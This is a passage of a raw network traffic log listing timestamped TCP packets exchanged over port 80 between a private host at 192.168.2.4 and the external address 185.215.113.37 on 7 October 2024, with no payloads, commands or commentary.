Oct 7, 2024 21:19:21.432229042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432264090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432271004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432281971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432308912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432322025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432333946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432344913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432363033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432374001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432390928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432483912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432499886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432533979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432549000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432574987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432585955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432611942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432629108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432713985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432725906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432737112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432746887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432756901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432761908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432777882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432796955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432874918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432915926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432974100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432985067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433022022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433034897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433140993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433152914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433162928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433176041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433187962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433202982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433219910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433235884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433276892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433346987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433358908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433394909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433408976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433500051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433511019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433521032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433530092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433583975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433598042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433665991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433677912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433689117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433698893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.433715105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.433731079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.434398890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.434458971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.434470892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.434498072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.434519053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.434520960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.434561968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.506138086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506155014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506166935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506366968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506380081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506392002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506390095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.506402016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506413937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506424904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506436110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506448030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506484985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506525993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506536007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506545067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.506553888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.506555080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.506555080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.506555080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.506555080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.506582022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.506592035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.548155069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548171043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548180103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548188925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548197985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548410892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.548425913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548439980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548456907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548470020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548479080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548486948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548491001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548500061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548510075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548517942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548528910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.548594952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.548594952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.548594952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.548594952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556171894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556184053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556191921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556236029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556266069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556555986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556571007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556576967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556615114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556626081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556627035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556639910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556651115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556657076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556675911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556734085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556766987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556780100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556794882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556804895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556852102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556900024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556952000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.556967020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.556981087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557008028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557022095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557060957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557142019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557152987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557180882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557214975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557221889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557233095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557241917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557262897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557282925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557368994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557379007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557384014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557420015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557552099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557565928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557576895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557586908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557593107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557596922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557611942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557625055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557652950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557737112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557745934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557776928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557790995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557816029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557827950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.557879925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.557898998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.558074951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558087111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558095932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558105946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558110952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558132887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.558166981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.558439970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558454037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558459044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558466911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558525085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.558773994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558829069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.558849096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558859110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558901072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.558923006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558934927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558945894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.558971882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.558985949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.630502939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630515099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630523920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630590916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630588055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.630646944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630673885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.630695105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.630701065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630714893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630722046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630753040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.630785942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.630794048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630847931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.630877972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630889893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630951881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.630973101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630989075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.630997896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.631027937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.631051064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.672363997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.672386885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.672395945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.672470093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.672482014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.672597885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.672605991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.672606945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.672799110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.673340082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.673404932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.673466921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.673479080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.673531055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.673531055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.673543930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.673552036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.673557043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.673619032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.673624039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.673651934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.673691034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.680277109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.680315971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.680352926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.680358887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.680387974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.680408955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.680737972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.680768013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.680780888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.680797100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.680830002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681133986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681200027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681201935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681214094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681257963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681269884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681375027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681385994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681396008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681406021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681438923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681479931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681619883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681632042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681642056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681684971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681689978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681700945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681726933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681756973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681759119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681770086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681780100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681790113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.681812048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681843042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.681952953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682008982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682019949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682033062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682041883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682074070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682086945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682120085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682141066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682157040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682178020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682188034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682219982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682274103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682287931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682297945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682307959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682318926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682338953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682514906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682531118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682547092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682604074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682616949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682630062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682640076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682651043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682677031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682709932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682817936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682830095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682841063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682847977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.682878971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.682910919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.683150053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.683207035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.683221102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.683234930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.683248043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.683274984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.683306932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.715166092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.715179920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.715388060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.755467892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755486965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755501032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755654097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755664110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755670071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755676985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755697966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.755786896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.755892038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755904913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755916119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755925894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755935907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.755954027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.755989075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.797355890 CEST	80	49730	185.215.113.37	192.168.2.4
